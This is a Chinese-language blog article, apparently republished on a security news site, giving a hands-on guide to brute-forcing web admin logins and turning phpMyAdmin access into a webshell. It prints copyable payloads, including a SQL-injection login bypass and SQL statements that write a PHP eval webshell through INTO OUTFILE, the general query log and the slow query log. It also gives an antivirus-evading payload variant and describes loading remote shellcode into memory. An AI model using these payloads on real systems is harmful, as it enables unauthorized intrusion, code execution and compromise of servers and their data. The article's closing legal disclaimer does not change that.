穷举后台与phpMyAdmingetshell:从弱口令爆破到绕过杀软拿Shell的完整实战"

admin 2026-10-24 14:30:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

穷举后台与phpMyAdmin getshell:从弱口令爆破到绕过杀软拿Shell的完整实战

原创

KLSEC
KLSEC

昆仑AI安全实验室

2026年10月22日 22:57
广东

去阅读

去年帮一个朋友看他的电商站,后台登录页光秃秃的,没有验证码,没有失败次数限制。我拿Burp挂了字典跑了十分钟,admin/admin123直接进去了。进去之后发现功能很全,订单、商品、用户管理都有,但最关键的文件上传功能被砍掉了,换成了腾讯云COS直传。

朋友问我:“后台进来了,但没上传点,还能拿Shell吗?”

答案在数据库里。他的phpMyAdmin面板用同样的admin/admin123就能登录。而phpMyAdmin,是后台getshell最经典的跳板之一。

今天这篇文章,把“穷举后台”和“phpMyAdmin getshell”这两条线拆开。从弱口令爆破的实战技巧,到phpMyAdmin四种getshell方法的完整命令,再到一个杀软拦截下的绕过案例。每一步都有具体操作,不聊理论。

一、穷举后台:别只盯着登录框

弱口令爆破是后台getshell的第一步,但“爆破”不等于“挂个字典跑就完事”。

先判断有没有爆破价值。 打开登录页,看三个东西:有没有验证码、有没有失败次数限制、密码是否明文传输。三者全无,就是爆破的黄金目标。2026年的GoBruteforcer僵尸网络专门扫这种目标,它内置了22组硬编码凭证,针对XAMPP等套件的默认账户(daemon、nobody)做密码喷洒。

字典的选择比字典的大小更重要。 不要一上来扔rockyou。针对后台登录,先用“品牌名+年份+特殊字符”的组合字典。比如目标叫“智创科技”,字典里放Zhichuang@2026、ZCkj_888、zhichuang123。我实际测试中,AI生成的定制字典命中率比通用字典高出三倍以上。

万能密码别忘试。 2026年8月一个CN-SEC的案例里,师傅开局一个登录框,弱口令没爆出来,试了admin' or '1'='1' #,直接进去了——后台的登录SQL存在注入,而且没有做参数化查询。

进了后台之后,优先找这四类功能点:

第一,文件上传/导入。头像、附件、数据导入、模板上传。即使前端限制了后缀,后端不一定校验。

第二,数据库管理入口。有些后台集成了简易的数据库管理功能,或者暴露了phpMyAdmin的路径。

第三,模板编辑/主题编辑。ThinkPHP、WordPress这类框架的后台,模板编辑功能可以直接写入PHP代码。

第四,备份/恢复功能。如果能把数据库备份导出到Web目录,或者能恢复一个恶意备份文件,就是getshell的路径。

二、phpMyAdmin getshell:四种方法,按条件选

phpMyAdmin本身不提供文件上传接口,它的getshell能力来自数据库的文件写入权限和phpMyAdmin的配置缺陷。四种方法,取决于三个前置条件:root权限、网站绝对路径、secure_file_priv的值。

先查secure_file_priv:

SHOW GLOBAL VARIABLES LIKE '%secure_file_priv%';

返回空字符串,四种方法都能用。返回NULL,INTO OUTFILE被禁用,但日志写入和慢查询写入仍然可行。返回一个具体路径(比如/tmp),只能往那个路径写。

方法一:INTO OUTFILE(最快,但条件最苛刻)

SELECT '<?php @eval($_POST[\"cmd\"]);?>' INTO OUTFILE 'C:/phpStudy/WWW/shell.php';

条件是secure_file_priv为空、MySQL用户有FILE权限、知道Web绝对路径。路径从哪来?phpinfo()页面直接泄露DOCUMENT_ROOT;如果目标用了phpStudy,执行SHOW VARIABLES LIKE '%datadir%'或SELECT @@basedir能反推安装路径。

方法二:通用查询日志写入(general\_log)

general_log记录用户执行的每一条SQL语句。把它指向Web目录,再执行一条包含恶意代码的查询,恶意代码就被写进了日志文件。

SET GLOBAL general_log = 'ON';SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';SELECT '<?php @eval($_POST[\"cmd\"]);?>';

日志文件本身是一个文本文件,但PHP引擎会把它当作PHP文件解析——只要后缀是.php。这个方法不依赖secure_file_priv,但要求MySQL用户有SUPER权限(通常是root),且日志文件路径可写。

方法三:慢查询日志写入(绕过secure_file_priv=NULL的关键)

这是2026年实战中最常用的phpMyAdmin getshell方法。当secure_file_priv被设为NULL,INTO OUTFILE彻底失效,但慢查询日志仍然可以被操控。

SHOW VARIABLES LIKE '%slow_query_log%';SET GLOBAL slow_query_log = ON;SET GLOBAL slow_query_log_file = 'C:/phpStudy/WWW/shell3.php';SELECT '<?php @eval($_POST[\"cmd\"]);?>' OR SLEEP(11);

SLEEP(11)是关键。慢查询日志只记录执行时间超过long_query_time阈值的查询(默认10秒)。不加延时,这条查询根本不会被写进日志文件。11秒是实战中常用的值,比默认阈值多1秒,确保被记录。

方法四:创建表写入(secure_file_priv受限时的备选)

创建一个包含恶意代码的表,然后用INTO OUTFILE把表内容导出。这个方法本质上还是依赖文件写入权限,但在某些secure_file_priv配置下,表的导出路径可能和直接SELECT INTO OUTFILE不同。

三、实战案例:杀软拦截下的绕过链

上面四种方法是“教科书”版本。真实环境里,杀软会拦截你的写入。

2025年底一个微信公号披露的案例很典型。攻击者用root/123456进了phpMyAdmin,secure_file_priv不为空,INTO OUTFILE不能用,转向慢查询日志。

第一次尝试,写入一句话马,失败。 执行SELECT '<?php @eval($_POST[\"cmd\"]);?>' OR SLEEP(11);时报错。但普通的SQL语句没问题,说明不是MySQL语法错误,是杀软或安全设备拦截了包含eval的查询内容。

绕过尝试,在Payload中插入_POST调用。 攻击者把Payload改成:

SELECT '<?php _POST[\"cmd\"];eval(\"$a\");?>' OR SLEEP(10);

这次日志文件写入成功了,说明杀软对eval的检测存在上下文盲区。但蚁剑连上去之后,命令执行报错ret=-1,whoami执行不了。检查phpinfo()发现disable_functions并没有禁用敏感函数。

真正的坑在环境变量。 报错信息是“不是内部命令”。原因是目标服务器的PATH环境变量没有包含C:\\Windows\\System32\\,PHP执行系统命令时找不到whoami.exe。攻击者尝试在蚁剑里加上完整路径,仍然不行——PHP层面对命令执行做了限制。

最终绕过:上传加载器 + Shellcode。 一句话马执行不了系统命令,但可以执行PHP代码。攻击者上传了一个C2加载器(纯PHP写的下载器),通过加载器从远程拉取Shellcode到内存执行,绕过了杀软对落地文件的检测,最终上线。

这条链的教训很明确:phpMyAdmin getshell不是“写进去就完事”。写进去之后,杀软会拦命令执行、拦落地文件、拦网络外连。绕过杀软的核心思路,是从“落地可执行文件”转向“内存加载Shellcode”。

四、2026年的新变量:AI生成的配置正在制造更多弱口令

GoBruteforcer僵尸网络在2026年初的活跃度激增,研究人员给出的原因很具体:大量服务器复用了大语言模型生成的通用配置片段。这些配置里的默认用户名是appuser、myuser、operator,密码是可预测的弱口令。

XAMPP这类过时套件是重灾区。它们默认开启FTP服务,默认凭证是daemon或nobody加弱密码。攻击者通过FTP拿到网站根目录的写权限,直接上传WebShell,连phpMyAdmin都不需要。

这意味着后台getshell的入口比过去更多了。你不仅要防phpMyAdmin的弱口令,还要防XAMPP的默认配置、FTP的匿名访问、以及AI生成配置里的可预测账户。

写在最后

穷举后台和phpMyAdmin getshell,本质上是同一件事的两面:用最低的成本拿到一个文件写入能力,再把写入能力变成代码执行能力。

弱口令爆破拿到的是入口,phpMyAdmin的四种写入方法拿到的是跳板。杀软拦截是这条路上最大的变量,绕过它的关键在于从“落地”转向“内存”。而AI生成的配置正在让入口变得更多、更容易猜——这是2026年防守方需要认真对待的新现实。

下次你测一个后台,别爆出密码就急着找上传点。看看数据库面板的版本,查一下secure_file_priv的值,如果路径条件允许,慢查询日志可能比文件上传更快。

严正声明

本文所述所有技术内容仅用于已获得明确书面授权的安全测试、研究和教育场景。phpMyAdmin及后台系统的弱口令爆破和getshell操作必须在SRC平台或客户授权的资产范围内进行。靶场环境应部署在隔离网络中。未授权扫描、爆破、写入WebShell行为违反《中华人民共和国网络安全法》第27条及《刑法》第285条,将承担法律责任。技术无罪,边界是法律。

    讲解一下这次PHP核弹级别漏洞的原理" 网络安全文章

    讲解一下这次PHP核弹级别漏洞的原理"

    本文深入剖析了PHP核弹级漏洞CVE-2026-109619的原理,该漏洞利用session.upload_progress在请求初始化前提前初始化session的机制,结合内存管理缺陷制造UAF,通过精心构造的multipart请求实现远程代码执行。攻击无需认证,早于应用代码执行,默认配置即可触发。文章还提到AI在发现此类复杂漏洞中的关键作用,并给出了临时缓解措施如关闭upload_progress或设置max\\_requests=1。
    对暗网某10TB数据泄露事件的简单分析" 网络安全文章

    对暗网某10TB数据泄露事件的简单分析"

    该文分析暗网某10TB数据泄露事件,指出黑客团伙专业性强,精准把握数据价值、利用产品管道回传数据,并熟悉商业产品以渗透内网。团伙还通过泄露客户凭证和知名客户名单施压,意图通过供应链攻击其他企业。作者建议有撞库能力的团队分析泄露数据,并关注网关日志中的IP以补充资产广度。同时提及AI加持下漏洞利用呈井喷态势,类似php2shell的武器已大量存在。
    好靶场杯第一届综合赛-古法赛道-流量分析webshell3-上" 网络安全文章

    好靶场杯第一届综合赛-古法赛道-流量分析webshell3-上"

    本文档为流量分析CTF解题记录,通过分析HTTP与ICMP流量识别攻击者IP为192.168.99.28,受害服务器为192.168.99.59。攻击者使用fscan进行内网资产探测,发现多台存活主机。受害服务器开放80、445、135、139、3306、5985端口,运行nginx/1.15.11及WordPress主题WebStack-1.2024。攻击者利用CVE-2026-1555任意文件上传漏洞,通过wp-admin/admin-ajax.php?action=img\\_upload路径上
    评论:0   参与:  0